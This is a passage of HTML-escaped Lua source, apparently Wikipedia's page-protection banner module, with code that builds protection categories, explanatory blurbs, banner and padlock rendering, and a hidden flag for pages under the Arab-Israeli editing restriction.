			attemptOrder[#attemptOrder + 1] = t&lt;br /&gt;
		end&lt;br /&gt;
	end&lt;br /&gt;
 &lt;br /&gt;
	--[[&lt;br /&gt;
	-- Check increasingly generic key combinations until we find a match. If a&lt;br /&gt;
	-- specific category exists for the combination of key fragments we are&lt;br /&gt;
	-- given, that match will be found first. If not, we keep trying different&lt;br /&gt;
	-- key fragment combinations until we match using the key&lt;br /&gt;
	-- &amp;quot;all-all-all-all-all&amp;quot;.&lt;br /&gt;
	--&lt;br /&gt;
	-- To generate the keys, we index the key subtables using a binary matrix&lt;br /&gt;
	-- with indexes i and j. j is only calculated up to the number of active&lt;br /&gt;
	-- subtables. For example, if there were three active subtables, the matrix&lt;br /&gt;
	-- would look like this, with 0 corresponding to the key fragment &amp;quot;all&amp;quot;, and&lt;br /&gt;
	-- 1 corresponding to other key fragments.&lt;br /&gt;
	-- &lt;br /&gt;
	--   j 1  2  3&lt;br /&gt;
	-- i  &lt;br /&gt;
	-- 1   1  1  1&lt;br /&gt;
	-- 2   0  1  1&lt;br /&gt;
	-- 3   1  0  1&lt;br /&gt;
	-- 4   0  0  1&lt;br /&gt;
	-- 5   1  1  0&lt;br /&gt;
	-- 6   0  1  0&lt;br /&gt;
	-- 7   1  0  0&lt;br /&gt;
	-- 8   0  0  0&lt;br /&gt;
	-- &lt;br /&gt;
	-- Values of j higher than the number of active subtables are set&lt;br /&gt;
	-- to the string &amp;quot;all&amp;quot;.&lt;br /&gt;
	--&lt;br /&gt;
	-- A key for cfg.protectionCategories is constructed for each value of i.&lt;br /&gt;
	-- The position of the value in the key is determined by the keypos field in&lt;br /&gt;
	-- each subtable.&lt;br /&gt;
	--]]&lt;br /&gt;
	local cats = cfg.protectionCategories&lt;br /&gt;
	for i = 1, 2^noActive do&lt;br /&gt;
		local key = {}&lt;br /&gt;
		for j, t in ipairs(attemptOrder) do&lt;br /&gt;
			if j &amp;gt; noActive then&lt;br /&gt;
				key[t.keypos] = &#039;all&#039;&lt;br /&gt;
			else&lt;br /&gt;
				local quotient = i / 2 ^ (j - 1)&lt;br /&gt;
				quotient = math.ceil(quotient)&lt;br /&gt;
				if quotient % 2 == 1 then&lt;br /&gt;
					key[t.keypos] = t.val&lt;br /&gt;
				else&lt;br /&gt;
					key[t.keypos] = &#039;all&#039;&lt;br /&gt;
				end&lt;br /&gt;
			end&lt;br /&gt;
		end&lt;br /&gt;
		key = table.concat(key, &#039;|&#039;)&lt;br /&gt;
		local attempt = cats[key]&lt;br /&gt;
		if attempt then&lt;br /&gt;
			return makeCategoryLink(attempt, title.text)&lt;br /&gt;
		end&lt;br /&gt;
	end&lt;br /&gt;
	return &#039;&#039;&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
function Protection:isIncorrect()&lt;br /&gt;
	local expiry = self.expiry&lt;br /&gt;
	return not self:shouldHaveProtectionCategory()&lt;br /&gt;
		or type(expiry) == &#039;number&#039; and expiry &amp;lt; os.time()&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
function Protection:isTemplateProtectedNonTemplate()&lt;br /&gt;
	local action, namespace = self.action, self.title.namespace&lt;br /&gt;
	return self.level == &#039;templateeditor&#039;&lt;br /&gt;
		and (&lt;br /&gt;
			(action ~= &#039;edit&#039; and action ~= &#039;move&#039;)&lt;br /&gt;
			or (namespace ~= 10 and namespace ~= 828)&lt;br /&gt;
		)&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
function Protection:makeCategoryLinks()&lt;br /&gt;
	local msg = self._cfg.msg&lt;br /&gt;
	local ret = {self:makeProtectionCategory()}&lt;br /&gt;
	if self:isIncorrect() then&lt;br /&gt;
		ret[#ret + 1] = makeCategoryLink(&lt;br /&gt;
			msg[&#039;tracking-category-incorrect&#039;],&lt;br /&gt;
			self.title.text&lt;br /&gt;
		)&lt;br /&gt;
	end&lt;br /&gt;
	if self:isTemplateProtectedNonTemplate() then&lt;br /&gt;
		ret[#ret + 1] = makeCategoryLink(&lt;br /&gt;
			msg[&#039;tracking-category-template&#039;],&lt;br /&gt;
			self.title.text&lt;br /&gt;
		)&lt;br /&gt;
	end&lt;br /&gt;
	return table.concat(ret)&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
--------------------------------------------------------------------------------&lt;br /&gt;
-- Blurb class&lt;br /&gt;
--------------------------------------------------------------------------------&lt;br /&gt;
&lt;br /&gt;
local Blurb = {}&lt;br /&gt;
Blurb.__index = Blurb&lt;br /&gt;
&lt;br /&gt;
Blurb.bannerTextFields = {&lt;br /&gt;
	text = true,&lt;br /&gt;
	explanation = true,&lt;br /&gt;
	tooltip = true,&lt;br /&gt;
	alt = true,&lt;br /&gt;
	link = true&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
function Blurb.new(protectionObj, args, cfg)&lt;br /&gt;
	return setmetatable({&lt;br /&gt;
		_cfg = cfg,&lt;br /&gt;
		_protectionObj = protectionObj,&lt;br /&gt;
		_args = args&lt;br /&gt;
	}, Blurb)&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
-- Private methods --&lt;br /&gt;
&lt;br /&gt;
function Blurb:_formatDate(num)&lt;br /&gt;
	-- Formats a Unix timestamp into dd Month, YYYY format.&lt;br /&gt;
	lang = lang or mw.language.getContentLanguage()&lt;br /&gt;
	local success, date = pcall(&lt;br /&gt;
		lang.formatDate,&lt;br /&gt;
		lang,&lt;br /&gt;
		self._cfg.msg[&#039;expiry-date-format&#039;] or &#039;j F Y&#039;,&lt;br /&gt;
		&#039;@&#039; .. tostring(num)&lt;br /&gt;
	)&lt;br /&gt;
	if success then&lt;br /&gt;
		return date&lt;br /&gt;
	end&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
function Blurb:_getExpandedMessage(msgKey)&lt;br /&gt;
	return self:_substituteParameters(self._cfg.msg[msgKey])&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
function Blurb:_substituteParameters(msg)&lt;br /&gt;
	if not self._params then&lt;br /&gt;
		local parameterFuncs = {}&lt;br /&gt;
&lt;br /&gt;
		parameterFuncs.CURRENTVERSION     = self._makeCurrentVersionParameter&lt;br /&gt;
		parameterFuncs.EDITREQUEST        = self._makeEditRequestParameter&lt;br /&gt;
		parameterFuncs.EXPIRY             = self._makeExpiryParameter&lt;br /&gt;
		parameterFuncs.EXPLANATIONBLURB   = self._makeExplanationBlurbParameter&lt;br /&gt;
		parameterFuncs.IMAGELINK          = self._makeImageLinkParameter&lt;br /&gt;
		parameterFuncs.INTROBLURB         = self._makeIntroBlurbParameter&lt;br /&gt;
		parameterFuncs.INTROFRAGMENT      = self._makeIntroFragmentParameter&lt;br /&gt;
		parameterFuncs.PAGETYPE           = self._makePagetypeParameter&lt;br /&gt;
		parameterFuncs.PROTECTIONBLURB    = self._makeProtectionBlurbParameter&lt;br /&gt;
		parameterFuncs.PROTECTIONDATE     = self._makeProtectionDateParameter&lt;br /&gt;
		parameterFuncs.PROTECTIONLEVEL    = self._makeProtectionLevelParameter&lt;br /&gt;
		parameterFuncs.PROTECTIONLOG      = self._makeProtectionLogParameter&lt;br /&gt;
		parameterFuncs.TALKPAGE           = self._makeTalkPageParameter&lt;br /&gt;
		parameterFuncs.TOOLTIPBLURB       = self._makeTooltipBlurbParameter&lt;br /&gt;
		parameterFuncs.TOOLTIPFRAGMENT    = self._makeTooltipFragmentParameter&lt;br /&gt;
		parameterFuncs.VANDAL             = self._makeVandalTemplateParameter&lt;br /&gt;
		&lt;br /&gt;
		self._params = setmetatable({}, {&lt;br /&gt;
			__index = function (t, k)&lt;br /&gt;
				local param&lt;br /&gt;
				if parameterFuncs[k] then&lt;br /&gt;
					param = parameterFuncs[k](self)&lt;br /&gt;
				end&lt;br /&gt;
				param = param or &#039;&#039;&lt;br /&gt;
				t[k] = param&lt;br /&gt;
				return param&lt;br /&gt;
			end&lt;br /&gt;
		})&lt;br /&gt;
	end&lt;br /&gt;
	&lt;br /&gt;
	msg = msg:gsub(&#039;${(%u+)}&#039;, self._params)&lt;br /&gt;
	return msg&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
function Blurb:_makeCurrentVersionParameter()&lt;br /&gt;
	-- A link to the page history or the move log, depending on the kind of&lt;br /&gt;
	-- protection.&lt;br /&gt;
	local pagename = self._protectionObj.title.prefixedText&lt;br /&gt;
	if self._protectionObj.action == &#039;move&#039; then&lt;br /&gt;
		-- We need the move log link.&lt;br /&gt;
		return makeFullUrl(&lt;br /&gt;
			&#039;Special:Log&#039;,&lt;br /&gt;
			{type = &#039;move&#039;, page = pagename},&lt;br /&gt;
			self:_getExpandedMessage(&#039;current-version-move-display&#039;)&lt;br /&gt;
		)&lt;br /&gt;
	else&lt;br /&gt;
		-- We need the history link.&lt;br /&gt;
		return makeFullUrl(&lt;br /&gt;
			pagename,&lt;br /&gt;
			{action = &#039;history&#039;},&lt;br /&gt;
			self:_getExpandedMessage(&#039;current-version-edit-display&#039;)&lt;br /&gt;
		)&lt;br /&gt;
	end&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
function Blurb:_makeEditRequestParameter()&lt;br /&gt;
	local mEditRequest = require(&#039;Module:Submit an edit request&#039;)&lt;br /&gt;
	local action = self._protectionObj.action&lt;br /&gt;
	local level = self._protectionObj.level&lt;br /&gt;
	&lt;br /&gt;
	-- Get the edit request type.&lt;br /&gt;
	local requestType&lt;br /&gt;
	if action == &#039;edit&#039; then&lt;br /&gt;
		if level == &#039;autoconfirmed&#039; then&lt;br /&gt;
			requestType = &#039;semi&#039;&lt;br /&gt;
		elseif level == &#039;extendedconfirmed&#039; then&lt;br /&gt;
			requestType = &#039;extended&#039;&lt;br /&gt;
		elseif level == &#039;templateeditor&#039; then&lt;br /&gt;
			requestType = &#039;template&#039;&lt;br /&gt;
		end&lt;br /&gt;
	end&lt;br /&gt;
	requestType = requestType or &#039;full&#039;&lt;br /&gt;
	&lt;br /&gt;
	-- Get the display value.&lt;br /&gt;
	local display = self:_getExpandedMessage(&#039;edit-request-display&#039;)&lt;br /&gt;
&lt;br /&gt;
	return mEditRequest._link{type = requestType, display = display}&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
function Blurb:_makeExpiryParameter()&lt;br /&gt;
	local expiry = self._protectionObj.expiry&lt;br /&gt;
	if type(expiry) == &#039;number&#039; then&lt;br /&gt;
		return self:_formatDate(expiry)&lt;br /&gt;
	else&lt;br /&gt;
		return expiry&lt;br /&gt;
	end&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
function Blurb:_makeExplanationBlurbParameter()&lt;br /&gt;
	-- Cover special cases first.&lt;br /&gt;
	if self._protectionObj.title.namespace == 8 then&lt;br /&gt;
		-- MediaWiki namespace&lt;br /&gt;
		return self:_getExpandedMessage(&#039;explanation-blurb-nounprotect&#039;)&lt;br /&gt;
	end&lt;br /&gt;
&lt;br /&gt;
	-- Get explanation blurb table keys&lt;br /&gt;
	local action = self._protectionObj.action&lt;br /&gt;
	local level = self._protectionObj.level&lt;br /&gt;
	local talkKey = self._protectionObj.title.isTalkPage and &#039;talk&#039; or &#039;subject&#039;&lt;br /&gt;
&lt;br /&gt;
	-- Find the message in the explanation blurb table and substitute any&lt;br /&gt;
	-- parameters.&lt;br /&gt;
	local explanations = self._cfg.explanationBlurbs&lt;br /&gt;
	local msg&lt;br /&gt;
	if explanations[action][level] and explanations[action][level][talkKey] then&lt;br /&gt;
		msg = explanations[action][level][talkKey]&lt;br /&gt;
	elseif explanations[action][level] and explanations[action][level].default then&lt;br /&gt;
		msg = explanations[action][level].default&lt;br /&gt;
	elseif explanations[action].default and explanations[action].default[talkKey] then&lt;br /&gt;
		msg = explanations[action].default[talkKey]&lt;br /&gt;
	elseif explanations[action].default and explanations[action].default.default then&lt;br /&gt;
		msg = explanations[action].default.default&lt;br /&gt;
	else&lt;br /&gt;
		error(string.format(&lt;br /&gt;
			&#039;could not find explanation blurb for action &amp;quot;%s&amp;quot;, level &amp;quot;%s&amp;quot; and talk key &amp;quot;%s&amp;quot;&#039;,&lt;br /&gt;
			action,&lt;br /&gt;
			level,&lt;br /&gt;
			talkKey&lt;br /&gt;
		), 8)&lt;br /&gt;
	end&lt;br /&gt;
	return self:_substituteParameters(msg)&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
function Blurb:_makeImageLinkParameter()&lt;br /&gt;
	local imageLinks = self._cfg.imageLinks&lt;br /&gt;
	local action = self._protectionObj.action&lt;br /&gt;
	local level = self._protectionObj.level&lt;br /&gt;
	local msg&lt;br /&gt;
	if imageLinks[action][level] then&lt;br /&gt;
		msg = imageLinks[action][level]&lt;br /&gt;
	elseif imageLinks[action].default then&lt;br /&gt;
		msg = imageLinks[action].default&lt;br /&gt;
	else&lt;br /&gt;
		msg = imageLinks.edit.default&lt;br /&gt;
	end&lt;br /&gt;
	return self:_substituteParameters(msg)&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
function Blurb:_makeIntroBlurbParameter()&lt;br /&gt;
	if self._protectionObj:isTemporary() then&lt;br /&gt;
		return self:_getExpandedMessage(&#039;intro-blurb-expiry&#039;)&lt;br /&gt;
	else&lt;br /&gt;
		return self:_getExpandedMessage(&#039;intro-blurb-noexpiry&#039;)&lt;br /&gt;
	end&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
function Blurb:_makeIntroFragmentParameter()&lt;br /&gt;
	if self._protectionObj:isTemporary() then&lt;br /&gt;
		return self:_getExpandedMessage(&#039;intro-fragment-expiry&#039;)&lt;br /&gt;
	else&lt;br /&gt;
		return self:_getExpandedMessage(&#039;intro-fragment-noexpiry&#039;)&lt;br /&gt;
	end&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
function Blurb:_makePagetypeParameter()&lt;br /&gt;
	local pagetypes = self._cfg.pagetypes&lt;br /&gt;
	return pagetypes[self._protectionObj.title.namespace]&lt;br /&gt;
		or pagetypes.default&lt;br /&gt;
		or error(&#039;no default pagetype defined&#039;, 8)&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
function Blurb:_makeProtectionBlurbParameter()&lt;br /&gt;
	local protectionBlurbs = self._cfg.protectionBlurbs&lt;br /&gt;
	local action = self._protectionObj.action&lt;br /&gt;
	local level = self._protectionObj.level&lt;br /&gt;
	local msg&lt;br /&gt;
	if protectionBlurbs[action][level] then&lt;br /&gt;
		msg = protectionBlurbs[action][level]&lt;br /&gt;
	elseif protectionBlurbs[action].default then&lt;br /&gt;
		msg = protectionBlurbs[action].default&lt;br /&gt;
	elseif protectionBlurbs.edit.default then&lt;br /&gt;
		msg = protectionBlurbs.edit.default&lt;br /&gt;
	else&lt;br /&gt;
		error(&#039;no protection blurb defined for protectionBlurbs.edit.default&#039;, 8)&lt;br /&gt;
	end&lt;br /&gt;
	return self:_substituteParameters(msg)&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
function Blurb:_makeProtectionDateParameter()&lt;br /&gt;
	local protectionDate = self._protectionObj.protectionDate&lt;br /&gt;
	if type(protectionDate) == &#039;number&#039; then&lt;br /&gt;
		return self:_formatDate(protectionDate)&lt;br /&gt;
	else&lt;br /&gt;
		return protectionDate&lt;br /&gt;
	end&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
function Blurb:_makeProtectionLevelParameter()&lt;br /&gt;
	local protectionLevels = self._cfg.protectionLevels&lt;br /&gt;
	local action = self._protectionObj.action&lt;br /&gt;
	local level = self._protectionObj.level&lt;br /&gt;
	local msg&lt;br /&gt;
	if protectionLevels[action][level] then&lt;br /&gt;
		msg = protectionLevels[action][level]&lt;br /&gt;
	elseif protectionLevels[action].default then&lt;br /&gt;
		msg = protectionLevels[action].default&lt;br /&gt;
	elseif protectionLevels.edit.default then&lt;br /&gt;
		msg = protectionLevels.edit.default&lt;br /&gt;
	else&lt;br /&gt;
		error(&#039;no protection level defined for protectionLevels.edit.default&#039;, 8)&lt;br /&gt;
	end&lt;br /&gt;
	return self:_substituteParameters(msg)&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
function Blurb:_makeProtectionLogParameter()&lt;br /&gt;
	local pagename = self._protectionObj.title.prefixedText&lt;br /&gt;
	if self._protectionObj.action == &#039;autoreview&#039; then&lt;br /&gt;
		-- We need the pending changes log.&lt;br /&gt;
		return makeFullUrl(&lt;br /&gt;
			&#039;Special:Log&#039;,&lt;br /&gt;
			{type = &#039;stable&#039;, page = pagename},&lt;br /&gt;
			self:_getExpandedMessage(&#039;pc-log-display&#039;)&lt;br /&gt;
		)&lt;br /&gt;
	else&lt;br /&gt;
		-- We need the protection log.&lt;br /&gt;
		return makeFullUrl(&lt;br /&gt;
			&#039;Special:Log&#039;,&lt;br /&gt;
			{type = &#039;protect&#039;, page = pagename},&lt;br /&gt;
			self:_getExpandedMessage(&#039;protection-log-display&#039;)&lt;br /&gt;
		)&lt;br /&gt;
	end&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
function Blurb:_makeTalkPageParameter()&lt;br /&gt;
	return string.format(&lt;br /&gt;
		&#039;[[%s:%s#%s|%s]]&#039;,&lt;br /&gt;
		mw.site.namespaces[self._protectionObj.title.namespace].talk.name,&lt;br /&gt;
		self._protectionObj.title.text,&lt;br /&gt;
		self._args.section or &#039;top&#039;,&lt;br /&gt;
		self:_getExpandedMessage(&#039;talk-page-link-display&#039;)&lt;br /&gt;
	)&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
function Blurb:_makeTooltipBlurbParameter()&lt;br /&gt;
	if self._protectionObj:isTemporary() then&lt;br /&gt;
		return self:_getExpandedMessage(&#039;tooltip-blurb-expiry&#039;)&lt;br /&gt;
	else&lt;br /&gt;
		return self:_getExpandedMessage(&#039;tooltip-blurb-noexpiry&#039;)&lt;br /&gt;
	end&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
function Blurb:_makeTooltipFragmentParameter()&lt;br /&gt;
	if self._protectionObj:isTemporary() then&lt;br /&gt;
		return self:_getExpandedMessage(&#039;tooltip-fragment-expiry&#039;)&lt;br /&gt;
	else&lt;br /&gt;
		return self:_getExpandedMessage(&#039;tooltip-fragment-noexpiry&#039;)&lt;br /&gt;
	end&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
function Blurb:_makeVandalTemplateParameter()&lt;br /&gt;
	return mw.getCurrentFrame():expandTemplate{&lt;br /&gt;
		title=&amp;quot;vandal-m&amp;quot;,&lt;br /&gt;
		args={self._args.user or self._protectionObj.title.baseText}&lt;br /&gt;
	}&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
-- Public methods --&lt;br /&gt;
&lt;br /&gt;
function Blurb:makeBannerText(key)&lt;br /&gt;
	-- Validate input.&lt;br /&gt;
	if not key or not Blurb.bannerTextFields[key] then&lt;br /&gt;
		error(string.format(&lt;br /&gt;
			&#039;&amp;quot;%s&amp;quot; is not a valid banner config field&#039;,&lt;br /&gt;
			tostring(key)&lt;br /&gt;
		), 2)&lt;br /&gt;
	end&lt;br /&gt;
&lt;br /&gt;
	-- Generate the text.&lt;br /&gt;
	local msg = self._protectionObj.bannerConfig[key]&lt;br /&gt;
	if type(msg) == &#039;string&#039; then&lt;br /&gt;
		return self:_substituteParameters(msg)&lt;br /&gt;
	elseif type(msg) == &#039;function&#039; then&lt;br /&gt;
		msg = msg(self._protectionObj, self._args)&lt;br /&gt;
		if type(msg) ~= &#039;string&#039; then&lt;br /&gt;
			error(string.format(&lt;br /&gt;
				&#039;bad output from banner config function with key &amp;quot;%s&amp;quot;&#039;&lt;br /&gt;
					.. &#039; (expected string, got %s)&#039;,&lt;br /&gt;
				tostring(key),&lt;br /&gt;
				type(msg)&lt;br /&gt;
			), 4)&lt;br /&gt;
		end&lt;br /&gt;
		return self:_substituteParameters(msg)&lt;br /&gt;
	end&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
--------------------------------------------------------------------------------&lt;br /&gt;
-- BannerTemplate class&lt;br /&gt;
--------------------------------------------------------------------------------&lt;br /&gt;
&lt;br /&gt;
local BannerTemplate = {}&lt;br /&gt;
BannerTemplate.__index = BannerTemplate&lt;br /&gt;
&lt;br /&gt;
function BannerTemplate.new(protectionObj, cfg)&lt;br /&gt;
	local obj = {}&lt;br /&gt;
	obj._cfg = cfg&lt;br /&gt;
&lt;br /&gt;
	-- Set the image filename.&lt;br /&gt;
	local imageFilename = protectionObj.bannerConfig.image&lt;br /&gt;
	if imageFilename then&lt;br /&gt;
		obj._imageFilename = imageFilename&lt;br /&gt;
	else&lt;br /&gt;
		-- If an image filename isn&#039;t specified explicitly in the banner config,&lt;br /&gt;
		-- generate it from the protection status and the namespace.&lt;br /&gt;
		local action = protectionObj.action&lt;br /&gt;
		local level = protectionObj.level&lt;br /&gt;
		local namespace = protectionObj.title.namespace&lt;br /&gt;
		local reason = protectionObj.reason&lt;br /&gt;
		&lt;br /&gt;
		-- Deal with special cases first.&lt;br /&gt;
		if (&lt;br /&gt;
			namespace == 10&lt;br /&gt;
			or namespace == 828&lt;br /&gt;
			or reason and obj._cfg.indefImageReasons[reason]&lt;br /&gt;
			)&lt;br /&gt;
			and action == &#039;edit&#039;&lt;br /&gt;
			and level == &#039;sysop&#039;&lt;br /&gt;
			and not protectionObj:isTemporary()&lt;br /&gt;
		then&lt;br /&gt;
			-- Fully protected modules and templates get the special red &amp;quot;indef&amp;quot;&lt;br /&gt;
			-- padlock.&lt;br /&gt;
			obj._imageFilename = obj._cfg.msg[&#039;image-filename-indef&#039;]&lt;br /&gt;
		else&lt;br /&gt;
			-- Deal with regular protection types.&lt;br /&gt;
			local images = obj._cfg.images&lt;br /&gt;
			if images[action] then&lt;br /&gt;
				if images[action][level] then&lt;br /&gt;
					obj._imageFilename = images[action][level]&lt;br /&gt;
				elseif images[action].default then&lt;br /&gt;
					obj._imageFilename = images[action].default&lt;br /&gt;
				end&lt;br /&gt;
			end&lt;br /&gt;
		end&lt;br /&gt;
	end&lt;br /&gt;
	return setmetatable(obj, BannerTemplate)&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
function BannerTemplate:renderImage()&lt;br /&gt;
	local filename = self._imageFilename&lt;br /&gt;
		or self._cfg.msg[&#039;image-filename-default&#039;]&lt;br /&gt;
		or &#039;Transparent.gif&#039;&lt;br /&gt;
	return makeFileLink{&lt;br /&gt;
		file = filename,&lt;br /&gt;
		size = (self.imageWidth or 20) .. &#039;px&#039;,&lt;br /&gt;
		alt = self._imageAlt,&lt;br /&gt;
		link = self._imageLink,&lt;br /&gt;
		caption = self.imageCaption&lt;br /&gt;
	}&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
--------------------------------------------------------------------------------&lt;br /&gt;
-- Banner class&lt;br /&gt;
--------------------------------------------------------------------------------&lt;br /&gt;
&lt;br /&gt;
local Banner = setmetatable({}, BannerTemplate)&lt;br /&gt;
Banner.__index = Banner&lt;br /&gt;
&lt;br /&gt;
function Banner.new(protectionObj, blurbObj, cfg)&lt;br /&gt;
	local obj = BannerTemplate.new(protectionObj, cfg) -- This doesn&#039;t need the blurb.&lt;br /&gt;
	obj.imageWidth = 40&lt;br /&gt;
	obj.imageCaption = blurbObj:makeBannerText(&#039;alt&#039;) -- Large banners use the alt text for the tooltip.&lt;br /&gt;
	obj._reasonText = blurbObj:makeBannerText(&#039;text&#039;)&lt;br /&gt;
	obj._explanationText = blurbObj:makeBannerText(&#039;explanation&#039;)&lt;br /&gt;
	obj._page = protectionObj.title.prefixedText -- Only makes a difference in testing.&lt;br /&gt;
	return setmetatable(obj, Banner)&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
function Banner:__tostring()&lt;br /&gt;
	-- Renders the banner.&lt;br /&gt;
	makeMessageBox = makeMessageBox or require(&#039;Module:Message box&#039;).main&lt;br /&gt;
	local reasonText = self._reasonText or error(&#039;no reason text set&#039;, 2)&lt;br /&gt;
	local explanationText = self._explanationText&lt;br /&gt;
	local mbargs = {&lt;br /&gt;
		page = self._page,&lt;br /&gt;
		type = &#039;protection&#039;,&lt;br /&gt;
		image = self:renderImage(),&lt;br /&gt;
		text = string.format(&lt;br /&gt;
			&amp;quot;&#039;&#039;&#039;%s&#039;&#039;&#039;%s&amp;quot;,&lt;br /&gt;
			reasonText,&lt;br /&gt;
			explanationText and &#039;&amp;lt;br /&amp;gt;&#039; .. explanationText or &#039;&#039;&lt;br /&gt;
		)&lt;br /&gt;
	}&lt;br /&gt;
	return makeMessageBox(&#039;mbox&#039;, mbargs)&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
--------------------------------------------------------------------------------&lt;br /&gt;
-- Padlock class&lt;br /&gt;
--------------------------------------------------------------------------------&lt;br /&gt;
&lt;br /&gt;
local Padlock = setmetatable({}, BannerTemplate)&lt;br /&gt;
Padlock.__index = Padlock&lt;br /&gt;
&lt;br /&gt;
function Padlock.new(protectionObj, blurbObj, cfg)&lt;br /&gt;
	local obj = BannerTemplate.new(protectionObj, cfg) -- This doesn&#039;t need the blurb.&lt;br /&gt;
	obj.imageWidth = 20&lt;br /&gt;
	obj.imageCaption = blurbObj:makeBannerText(&#039;tooltip&#039;)&lt;br /&gt;
	obj._imageAlt = blurbObj:makeBannerText(&#039;alt&#039;)&lt;br /&gt;
	obj._imageLink = blurbObj:makeBannerText(&#039;link&#039;)&lt;br /&gt;
	obj._indicatorName = cfg.padlockIndicatorNames[protectionObj.action]&lt;br /&gt;
		or cfg.padlockIndicatorNames.default&lt;br /&gt;
		or &#039;pp-default&#039;&lt;br /&gt;
	return setmetatable(obj, Padlock)&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
function Padlock:__tostring()&lt;br /&gt;
	local frame = mw.getCurrentFrame()&lt;br /&gt;
	-- The nowiki tag helps prevent whitespace at the top of articles.&lt;br /&gt;
	return frame:extensionTag{name = &#039;nowiki&#039;} .. frame:extensionTag{&lt;br /&gt;
		name = &#039;indicator&#039;,&lt;br /&gt;
		args = {name = self._indicatorName},&lt;br /&gt;
		content = self:renderImage()&lt;br /&gt;
	}&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
--------------------------------------------------------------------------------&lt;br /&gt;
-- Exports&lt;br /&gt;
--------------------------------------------------------------------------------&lt;br /&gt;
&lt;br /&gt;
local p = {}&lt;br /&gt;
&lt;br /&gt;
function p._exportClasses()&lt;br /&gt;
	-- This is used for testing purposes.&lt;br /&gt;
	return {&lt;br /&gt;
		Protection = Protection,&lt;br /&gt;
		Blurb = Blurb,&lt;br /&gt;
		BannerTemplate = BannerTemplate,&lt;br /&gt;
		Banner = Banner,&lt;br /&gt;
		Padlock = Padlock,&lt;br /&gt;
	}&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
function p._main(args, cfg, title)&lt;br /&gt;
	args = args or {}&lt;br /&gt;
	cfg = cfg or require(CONFIG_MODULE)&lt;br /&gt;
&lt;br /&gt;
	local protectionObj = Protection.new(args, cfg, title)&lt;br /&gt;
&lt;br /&gt;
	local ret = {}&lt;br /&gt;
&lt;br /&gt;
	-- If a page&#039;s edit protection is equally or more restrictive than its&lt;br /&gt;
	-- protection from some other action, then don&#039;t bother displaying anything&lt;br /&gt;
	-- for the other action (except categories).&lt;br /&gt;
	if not yesno(args.catonly) and (protectionObj.action == &#039;edit&#039; or&lt;br /&gt;
		args.demolevel or&lt;br /&gt;
		not getReachableNodes(&lt;br /&gt;
			cfg.hierarchy,&lt;br /&gt;
			protectionObj.level&lt;br /&gt;
		)[effectiveProtectionLevel(&#039;edit&#039;, protectionObj.title)])&lt;br /&gt;
	then&lt;br /&gt;
		-- Initialise the blurb object&lt;br /&gt;
		local blurbObj = Blurb.new(protectionObj, args, cfg)&lt;br /&gt;
	&lt;br /&gt;
		-- Render the banner&lt;br /&gt;
		if protectionObj:shouldShowLock() then&lt;br /&gt;
			ret[#ret + 1] = tostring(&lt;br /&gt;
				(yesno(args.small) and Padlock or Banner)&lt;br /&gt;
				.new(protectionObj, blurbObj, cfg)&lt;br /&gt;
			)&lt;br /&gt;
		end&lt;br /&gt;
	end&lt;br /&gt;
&lt;br /&gt;
	-- Render the categories&lt;br /&gt;
	if yesno(args.category) ~= false then&lt;br /&gt;
		ret[#ret + 1] = protectionObj:makeCategoryLinks()&lt;br /&gt;
	end&lt;br /&gt;
	&lt;br /&gt;
	-- For arbitration enforcement, flagging [[WP:PIA]] pages to enable [[Special:AbuseFilter/1339]] to flag edits to them&lt;br /&gt;
	if protectionObj.level == &amp;quot;extendedconfirmed&amp;quot; then&lt;br /&gt;
		if require(&amp;quot;Module:TableTools&amp;quot;).inArray(protectionObj.title.talkPageTitle.categories, &amp;quot;Wikipedia pages subject to the extended confirmed restriction related to the Arab-Israeli conflict&amp;quot;) then&lt;br /&gt;
			ret[#ret + 1] = &amp;quot;&amp;lt;p class=&#039;PIA-flag&#039; style=&#039;display:none; visibility:hidden;&#039; title=&#039;This page is subject to the extended confirmed restriction related to the Arab-Israeli conflict.&#039;&amp;gt;&amp;lt;/p&amp;gt;&amp;quot;&lt;br /&gt;
		end&lt;br /&gt;
	end&lt;br /&gt;
	&lt;br /&gt;
	return table.concat(ret)	&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
function p.main(frame, cfg)&lt;br /&gt;
	cfg = cfg or require(CONFIG_MODULE)&lt;br /&gt;
&lt;br /&gt;
	-- Find default args, if any.&lt;br /&gt;
	local parent = frame.getParent and frame:getParent()&lt;br /&gt;
	local defaultArgs = parent and cfg.wrappers[parent:getTitle():gsub(&#039;/sandbox$&#039;, &#039;&#039;)]&lt;br /&gt;
&lt;br /&gt;
	-- Find user args, and use the parent frame if we are being called from a&lt;br /&gt;
